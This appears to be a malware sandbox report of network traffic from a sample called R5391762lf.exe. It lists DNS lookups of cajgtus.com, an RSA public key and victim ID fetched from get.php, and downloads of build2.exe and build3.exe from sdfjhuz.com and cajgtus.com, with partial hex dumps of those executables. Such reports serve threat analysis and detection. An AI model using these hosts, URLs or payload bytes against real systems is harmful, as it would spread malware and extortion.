Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	181.55.190.201	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	179.33.180.97	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	123.213.233.131	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	46.100.50.5	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	181.55.190.201	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	179.33.180.97	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765289068 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	123.213.233.131	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	46.100.50.5	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	123.213.233.131	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	179.33.180.97	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.890074968 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	181.55.190.201	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:15.516237974 CEST	1.1.1.1	192.168.2.8	0xb887	No error (0)	steamcommunity.com	23.66.133.162	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

steamcommunity.com

95.217.9.149

sdfjhuz.com

cajgtus.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	186.13.17.220	80	7524	C:\Users\user\Desktop\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 17:37:10.976655006 CEST	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: sdfjhuz.com
Apr 24, 2024 17:37:12.157140970 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Apr 2024 15:37:11 GMT Content-Type: application/octet-stream Content-Length: 296448 Last-Modified: Tue, 23 Apr 2024 19:19:16 GMT Connection: close ETag: "662809b4-48600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 25 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$oPQ#?)Uk?)nRichPELGc0`m@@0ajd@`f8@`@.text `.rdataPtv@@.data^6`@.rsrcf@`@@%
Apr 24, 2024 17:37:12.157414913 CEST	1289	IN	Data Raw: a0 01 e8 4e 02 00 00 68 09 f4 40 00 e8 3f 26 00 00 59 c3 b9 14 25 a0 01 e8 a1 02 00 00 68 ff f3 40 00 e8 29 26 00 00 59 c3 b9 00 25 a0 01 e8 f8 02 00 00 68 f5 f3 40 00 e8 13 26 00 00 59 c3 6a 00 b9 08 25 a0 01 e8 ee 00 00 00 c3 6a 00 b9 fc 24 a0 Data Ascii: Nh@?&Y%h@)&Y%h@&Yj%j$j%j%UQQQQ$!]EYY]UVEP,A^],ANUVEtV%Y^]UE]UE8
Apr 24, 2024 17:37:12.157429934 CEST	222	IN	Data Raw: 15 34 00 41 00 53 8d 85 b4 fb ff ff 50 53 ff 15 90 00 41 00 8d 45 c8 50 53 8d 45 b4 50 53 ff 15 88 00 41 00 53 53 53 53 53 53 53 ff 15 44 00 41 00 8b 45 f8 8b 0d f0 24 a0 01 2b f8 83 f9 0c 75 07 53 ff 15 80 00 41 00 8b c7 c1 e0 04 89 45 f4 8b 45 Data Ascii: 4ASPSAEPSEPSASSSSSSSDAE$+uSAEEEMUEEEEM3U3UME)ENt]MuE~_^[]V5$W=tNu_^UQeEE
Apr 24, 2024 17:37:12.158433914 CEST	1289	IN	Data Raw: fc 01 05 e0 1e a0 01 8b e5 5d c3 55 8b ec 51 51 68 9c 5e 41 00 ff 15 50 00 41 00 68 18 c3 43 00 50 a3 e4 1e a0 01 c7 05 18 c3 43 00 56 69 72 74 66 c7 05 21 c3 43 00 6f 74 c7 05 1c c3 43 00 75 61 6c 50 c7 05 23 c3 43 00 65 63 74 00 c6 05 20 c3 43 Data Ascii: ]UQQh^APAhCPCVirtf!CotCualP#Cect Cr@AE E EPu5$5]U`Bk$VWHAKQ3$V$\A9V<AOu$tW$
Apr 24, 2024 17:37:12.532756090 CEST	1289	IN	Data Raw: fe 54 e1 00 00 7c d2 a1 74 df 41 00 a3 f0 24 a0 01 e8 68 fb ff ff be 8f 07 03 00 81 3d f0 24 a0 01 1f 05 00 00 75 06 ff 15 10 00 41 00 4e 75 eb 5f 33 c0 5e 8b e5 5d c2 10 00 55 8b ec 51 56 8b f1 8d 4d ff e8 2e 01 00 00 50 8b ce e8 29 01 00 00 6a Data Ascii: T\|tA$h=$uANu_3^]UQVM.P)jju^]USVMW];rhM+9}B};uuPZSjq0jWt$MWPP8W_^[]T
Apr 24, 2024 17:37:12.533030987 CEST	1289	IN	Data Raw: 08 8b ce 50 e8 27 00 00 00 5e 5d c2 08 00 8b c1 c3 33 c0 85 c9 74 15 83 f9 ff 77 0b 51 e8 fe 1f 00 00 59 85 c0 75 05 e9 a2 01 00 00 c3 8b c1 c3 55 8b ec 56 57 8b f9 8b f2 8b 4d 08 e8 ec ff ff ff 50 56 8b cf e8 06 00 00 00 5f 5e 5d c2 04 00 55 8b Data Ascii: P'^]3twQYuUVWMPV_^]UVujYYtM^]U=AAtM9txu3]@]U=<A8AtM9txu3]@]UVuA^]UVu
Apr 24, 2024 17:37:12.533291101 CEST	1289	IN	Data Raw: 24 95 98 25 40 00 90 23 d1 8a 06 88 07 83 c6 01 c1 e9 02 83 c7 01 83 f9 08 72 88 f3 a5 ff 24 95 98 25 40 00 8d 49 00 8f 25 40 00 7c 25 40 00 74 25 40 00 6c 25 40 00 64 25 40 00 5c 25 40 00 54 25 40 00 4c 25 40 00 8b 44 8e e4 89 44 8f e4 8b 44 8e Data Ascii: $%@#r$%@I%@\|%@t%@l%@d%@\%@T%@L%@DDDDDDDDDDDDDD$%@%@%@%@%@D$^_D$^_FGD$^_IFGFGD$^_t1\|9u$
Apr 24, 2024 17:37:12.533504009 CEST	1289	IN	Data Raw: ec 8d 45 f0 57 50 e8 67 1e 00 00 8b c8 83 c4 28 8b 45 ec a8 03 75 0e 83 f9 01 74 11 83 f9 02 75 0f 6a 04 eb 0a a8 01 75 f8 a8 02 74 03 6a 03 5b 80 7d e4 00 74 07 8b 4d e0 83 61 70 fd 8b 4d fc 8b c3 5f 5e 33 cd 5b e8 94 17 00 00 8b e5 5d c3 55 8b Data Ascii: EWPg(Eutujutj[}tMapM_^3[]Ujuu]Ujuuu]UEu??3]@]UEVfDAF0^]UEDAAA]UVufD
Apr 24, 2024 17:37:12.534497976 CEST	1289	IN	Data Raw: ff 28 2f 40 00 30 2f 40 00 3c 2f 40 00 50 2f 40 00 8b 44 24 0c 5e 5f c3 90 8a 06 88 07 8b 44 24 0c 5e 5f c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 44 24 0c 5e 5f c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 44 24 0c 5e 5f c3 90 8d Data Ascii: (/@0/@</@P/@D$^_D$^_FGD$^_IFGFGD$^_t1\|9u$r$0@$d0@Ir+$/@$0@/@/@0@F#Gr$0@IF#GFGr
Apr 24, 2024 17:37:12.534996986 CEST	1289	IN	Data Raw: c3 8d 41 fc 8b 4c 24 04 2b c1 c3 cc cc cc cc cc 57 8b 7c 24 08 eb 6e 8d a4 24 00 00 00 00 8b ff 8b 4c 24 04 57 f7 c1 03 00 00 00 74 13 8a 01 83 c1 01 84 c0 74 3d f7 c1 03 00 00 00 75 ef 8b ff 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 Data Ascii: AL$+W\|$n$L$Wtt=u~3tAt#tttyyyyL$ttfu~3tt4t'ttD$_fD$G
Apr 24, 2024 17:37:12.535373926 CEST	1289	IN	Data Raw: 04 6a 00 8b 04 9d d0 b5 43 00 5b f6 44 01 04 80 0f 84 be 00 00 00 6a 02 53 ff b5 e8 ef ff ff e8 6d 45 00 00 8b 8d f4 ef ff ff 83 c4 0c 3b c1 75 3f 8b 95 ec ef ff ff 8b 42 08 03 c6 8b c8 2b 4a 08 3b 42 08 1b c0 f7 d0 23 c1 89 85 e0 ef ff ff 76 15 Data Ascii: jC[DjSmE;u?B+J;B#vB8uF@C;rB TSQEy\;w@t@tpCDtFu+u^[M3_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	186.145.236.18	80	7596	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 17:37:11.036752939 CEST	128	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 17:37:11.734535933 CEST	761	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 15:37:30 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 78 49 64 6c 46 72 43 35 77 64 6d 63 6a 48 4d 49 35 48 57 51 5c 5c 6e 48 31 6d 77 63 33 73 6c 58 65 55 44 4a 66 48 4c 76 5c 2f 49 37 4b 39 41 49 35 34 65 41 4e 69 57 51 64 32 69 71 74 6f 5a 77 76 4c 67 57 35 59 4e 78 73 6f 6a 69 6c 77 48 4c 57 46 4a 66 34 78 67 4f 5c 5c 6e 61 56 56 76 59 30 36 44 61 75 65 48 73 49 77 73 33 38 54 65 36 54 4f 67 6e 56 70 4f 49 53 53 45 39 5a 59 78 68 52 69 78 49 50 30 37 4d 42 44 67 68 51 6b 44 35 77 6f 79 4f 52 33 66 2b 75 4d 41 5c 5c 6e 44 4a 59 58 77 69 51 71 77 6c 2b 4a 31 73 43 51 65 6a 64 65 70 51 57 67 39 5a 32 62 2b 74 68 4f 37 64 58 74 69 62 2b 75 4a 30 31 46 48 45 69 4b 5a 4f 38 77 5c 2f 78 53 57 6a 4b 62 2b 50 70 30 31 5c 5c 6e 39 50 33 45 44 55 6c 5a 53 58 78 41 57 50 4c 36 52 30 65 67 66 4b 76 4f 61 72 5a 38 2b 5a 38 57 78 61 62 46 7a 51 41 56 65 42 64 37 77 5a 74 57 57 6e 30 62 6b 4e 4f 6f 47 37 51 6a 30 76 66 5c 2f 5c 5c 6e 52 75 33 6d 7a 45 7a 6c 4d 79 41 33 44 73 31 42 57 6d 33 50 56 51 73 44 75 4a 57 4f 42 34 73 42 46 6e 4c 58 71 6c 56 4e 58 4d 45 57 59 6c 71 79 75 6d 52 46 68 66 71 65 71 75 51 54 6d 36 6d 72 5c 5c 6e 48 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 64 6f 63 30 51 4f 67 45 6a 4b 42 64 39 69 64 34 4a 49 61 67 37 67 63 64 4b 62 74 4e 53 61 55 67 68 6f 36 4f 44 48 34 65 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxIdlFrC5wdmcjHMI5HWQ\\nH1mwc3slXeUDJfHLv\/I7K9AI54eANiWQd2iqtoZwvLgW5YNxsojilwHLWFJf4xgO\\naVVvY06DaueHsIws38Te6TOgnVpOISSE9ZYxhRixIP07MBDghQkD5woyOR3f+uMA\\nDJYXwiQqwl+J1sCQejdepQWg9Z2b+thO7dXtib+uJ01FHEiKZO8w\/xSWjKb+Pp01\\n9P3EDUlZSXxAWPL6R0egfKvOarZ8+Z8WxabFzQAVeBd7wZtWWn0bkNOoG7Qj0vf\/\\nRu3mzEzlMyA3Ds1BWm3PVQsDuJWOB4sBFnLXqlVNXMEWYlqyumRFhfqequQTm6mr\\nHwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	186.145.236.18	80	7524	C:\Users\user\Desktop\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 17:37:11.054109097 CEST	139	OUT	GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 17:37:11.771819115 CEST	761	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 15:37:30 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 78 49 64 6c 46 72 43 35 77 64 6d 63 6a 48 4d 49 35 48 57 51 5c 5c 6e 48 31 6d 77 63 33 73 6c 58 65 55 44 4a 66 48 4c 76 5c 2f 49 37 4b 39 41 49 35 34 65 41 4e 69 57 51 64 32 69 71 74 6f 5a 77 76 4c 67 57 35 59 4e 78 73 6f 6a 69 6c 77 48 4c 57 46 4a 66 34 78 67 4f 5c 5c 6e 61 56 56 76 59 30 36 44 61 75 65 48 73 49 77 73 33 38 54 65 36 54 4f 67 6e 56 70 4f 49 53 53 45 39 5a 59 78 68 52 69 78 49 50 30 37 4d 42 44 67 68 51 6b 44 35 77 6f 79 4f 52 33 66 2b 75 4d 41 5c 5c 6e 44 4a 59 58 77 69 51 71 77 6c 2b 4a 31 73 43 51 65 6a 64 65 70 51 57 67 39 5a 32 62 2b 74 68 4f 37 64 58 74 69 62 2b 75 4a 30 31 46 48 45 69 4b 5a 4f 38 77 5c 2f 78 53 57 6a 4b 62 2b 50 70 30 31 5c 5c 6e 39 50 33 45 44 55 6c 5a 53 58 78 41 57 50 4c 36 52 30 65 67 66 4b 76 4f 61 72 5a 38 2b 5a 38 57 78 61 62 46 7a 51 41 56 65 42 64 37 77 5a 74 57 57 6e 30 62 6b 4e 4f 6f 47 37 51 6a 30 76 66 5c 2f 5c 5c 6e 52 75 33 6d 7a 45 7a 6c 4d 79 41 33 44 73 31 42 57 6d 33 50 56 51 73 44 75 4a 57 4f 42 34 73 42 46 6e 4c 58 71 6c 56 4e 58 4d 45 57 59 6c 71 79 75 6d 52 46 68 66 71 65 71 75 51 54 6d 36 6d 72 5c 5c 6e 48 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 64 6f 63 30 51 4f 67 45 6a 4b 42 64 39 69 64 34 4a 49 61 67 37 67 63 64 4b 62 74 4e 53 61 55 67 68 6f 36 4f 44 48 34 65 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxIdlFrC5wdmcjHMI5HWQ\\nH1mwc3slXeUDJfHLv\/I7K9AI54eANiWQd2iqtoZwvLgW5YNxsojilwHLWFJf4xgO\\naVVvY06DaueHsIws38Te6TOgnVpOISSE9ZYxhRixIP07MBDghQkD5woyOR3f+uMA\\nDJYXwiQqwl+J1sCQejdepQWg9Z2b+thO7dXtib+uJ01FHEiKZO8w\/xSWjKb+Pp01\\n9P3EDUlZSXxAWPL6R0egfKvOarZ8+Z8WxabFzQAVeBd7wZtWWn0bkNOoG7Qj0vf\/\\nRu3mzEzlMyA3Ds1BWm3PVQsDuJWOB4sBFnLXqlVNXMEWYlqyumRFhfqequQTm6mr\\nHwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	186.145.236.18	80	7524	C:\Users\user\Desktop\R5391762lf.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 17:37:15.248399973 CEST	96	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 17:37:16.051417112 CEST	1289	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 15:37:35 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 Last-Modified: Mon, 09 Oct 2023 19:50:06 GMT ETag: "4ae00-6074de5a4a562" Accept-Ranges: bytes Content-Length: 306688 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6krh8rh8rh88sh8l8nh8l8h8U_8{h8ri8h8l82h8l8sh8l8sh8Richrh8PELaj; @>lhd>/0@.textrhj `.data:n@.kic>\|@.rsrc/>0~@@
